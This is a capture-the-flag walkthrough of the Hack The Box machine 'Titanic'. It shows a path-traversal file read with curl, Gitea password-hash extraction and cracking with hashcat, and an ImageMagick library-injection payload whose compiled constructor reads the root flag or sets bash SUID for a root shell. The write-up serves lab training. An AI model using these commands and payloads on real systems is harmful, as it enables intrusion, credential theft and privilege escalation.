# Titanic (HTB)

## Enumeration.

### Port Scanning.

```
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Titanic - Book Your Ship Trip
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-favicon: Unknown favicon MD5: 79E1E0A79A613646F473CFEDA9E231F1
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/3.0.3 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Enumerate Web.

So once we enter the website we see few links and booking functionality.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FAKLbOXPQkbNOidZCmdIJ%2Fimage.png?alt=media&#x26;token=ba622f27-50dc-47a1-a477-b4cf2ded5238" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2Ft0NVmbcJGSz2VyDyiByN%2Fimage.png?alt=media&#x26;token=e5884428-6a87-40c1-9682-d86a5d5c87f0" alt=""><figcaption></figcaption></figure>

Once we fill this form we will get JSON file downloaded into our machine containing the information about the ticket.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FPWJ9vTmO3oLyRGpfoBL9%2Fimage.png?alt=media&#x26;token=4613fc8e-5810-478d-ba05-102038c8132f" alt=""><figcaption></figcaption></figure>

#### Enumerate directories.

Using dirsearch we can find few directories we can test.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F6ix3DGyspOT8qQuTgTWx%2Fimage.png?alt=media&#x26;token=752516bf-9693-43e2-ad9e-94e2b41f0e7f" alt=""><figcaption></figcaption></figure>

We see the book which appear related to that form and download which gives 400 meaning bad request let check it with Burp Suit.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F1VMU3juA5P0Thdx75mf8%2Fimage.png?alt=media&#x26;token=25a57ae6-c95c-4c9a-9224-875cd0ceb24b" alt=""><figcaption></figcaption></figure>

It should take Ticket as GET parameter.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FgfI3a1t3nIFyozpPSgWu%2Fimage.png?alt=media&#x26;token=34374d0f-53af-41de-8bc6-4f81580dd982" alt=""><figcaption></figcaption></figure>

Interesting simple LFI. We get the passwd file and we can see user called Developer.

## SSH as developer.

#### Gitea.

After i found the user and the LFI i tried looking for configuration files and ssh keys but no luck then using ffuf i was able to find this.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FpdSXjSmFDOshF5NNR1ys%2Fimage.png?alt=media&#x26;token=ba2b3b2d-ef96-47e7-9448-51f8e710e686" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Gitea is an open-source, self-hosted Git service that's similar to GitHub. It allows developers to manage their Git repositories on their own servers, offering features like issue tracking, pull requests, and project management in a lightweight and easy-to-set-up package.
{% endhint %}

After a bit of search i found that  has a database under the following path `gitea/data/gitea.db`. Let's use CURL to get it.

```purebasic
curl http://titanic.htb/download\?ticket\="../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output sql
```

Once we get it we can use sqlite3 to check the database.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FCGRAqj8wHBmp83YzokCW%2Fimage.png?alt=media&#x26;token=94dec2c0-d7c1-4061-a424-d18817a2d3f4" alt=""><figcaption></figcaption></figure>

Not let's try to crack these.

After a bit of search i came across this writeUp.

{% embed url="<https://0xdf.gitlab.io/2024/12/14/htb-compiled.html>" %}

Which explain how to crack gitea passwords as it use pbkdf2-sha algorithm.

{% tabs %}
{% tab title="Bash" %}

```bash
sqlite3 <Your SQL NAME> "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
```

{% endtab %}
{% endtabs %}

Using this command we can get the hashes as hashcat understand it and then we crack it with hashcat.

```wasm
hashcat gitea.hashes ../../Downloads/rockyou.txt --user
```

After a bit we can see this.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FHWr9RdFLNsnswNG3oRuT%2Fimage.png?alt=media&#x26;token=ca0e6b61-deff-4f1a-8dc7-4e6755d0212d" alt=""><figcaption></figcaption></figure>

Cool now we have valid creds let's SSH.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FJ7ioEbSlJ73HSr0tojZ7%2Fimage.png?alt=media&#x26;token=b02abca1-1dfc-4b53-b0b7-4fd09d7dcc21" alt=""><figcaption></figcaption></figure>

## Shell as Root.

So as for root shell once i get into the machine there a lot of things to look at.

{% stepper %}
{% step %}

### Enumerate the docker-compose files

I have enumerated the docker-compose files one of them was interesting which that allow for ssh on port 2222 i tried to plan ssh key into the /data but no luck
{% endstep %}

{% step %}

### Check the website running on port 3000

I have enumerated too the website running on port 3000 gitea but nothing actually was there but some commits about the book system./

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2Fu9r0cdi7HSXnswf6ka0T%2Fimage.png?alt=media&#x26;token=6c4c2521-74a8-4e77-8080-67f165bdc059" alt=""><figcaption></figcaption></figure>
{% endstep %}

{% step %}

### Finally something interesting occur. !!!

When i was checking the files around the system i came across this file under /opt/scripts.

Which contain some bash script.

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

At first glance this script seems to fine but !. If we check the version of magick that is running we can find more info about it :).

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FSBrnXCclM0fdrAU8tqP8%2Fimage.png?alt=media&#x26;token=44451916-2f86-41de-a915-3e5a7079d569" alt=""><figcaption></figcaption></figure>

some google we can find this.

{% embed url="<https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8>" %}

Basically the issue is in how the ImageMagick handles the dynamic link libraries allowing for dynamic library injection which allow use to execute any command as privilege as ImageMagick executed.

Using this simple Payload inside the image directory where it search for the images.

```c
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/rootflag");
    exit(0);
}
EOF
```

now just change anything in the file to trigger the bash script.

```
cp home.jpg home2.jpg
```

Then just check the tmp to get your flag.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FKVL0gGHrWjr25mHKsgLQ%2Fimage.png?alt=media&#x26;token=3225e092-6db0-491d-8781-6cca183400b6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FvtcBnfjTPW2bw4guWTKK%2Fimage.png?alt=media&#x26;token=daed6362-92d5-48a7-bb09-3bf56248afce" alt=""><figcaption></figcaption></figure>
{% endstep %}
{% endstepper %}

## Additional info.

for the sake of curiosity i wanted to get root shell not just read the flag. Which is an easy task we just need to find a way to allow use to access shell as root. &#x20;

We can change the permissions  of the bash executable to include sudo bit which allow us to execute the binary as we are the owners of it.

Here is the updated code that do that.

```c
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("chmod 4777 /usr/bin/bash");
    exit(0);
}
EOF
```

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F9UBbEn2JTznJMOdP1JTF%2Fimage.png?alt=media&#x26;token=b17f45bd-bd6f-472b-b5df-c2217adee663" alt=""><figcaption></figcaption></figure>

But be careful if you just executed it as it is it will not give you root shell.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FRBrBNXlsvV3Rt8VTbDMR%2Fimage.png?alt=media&#x26;token=780ca956-924a-4e57-a9ab-a9c7edd351a5" alt=""><figcaption></figcaption></figure>

As we can see we are not root this is because linux by defaults drops the permissions to the normal user for security reasons. We can use -p flag to disable that.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FwnLEi9I3Pfeew6hrmo4h%2Fimage.png?alt=media&#x26;token=605f545b-fba4-4899-ba61-1efc44716fdd" alt=""><figcaption></figcaption></figure>
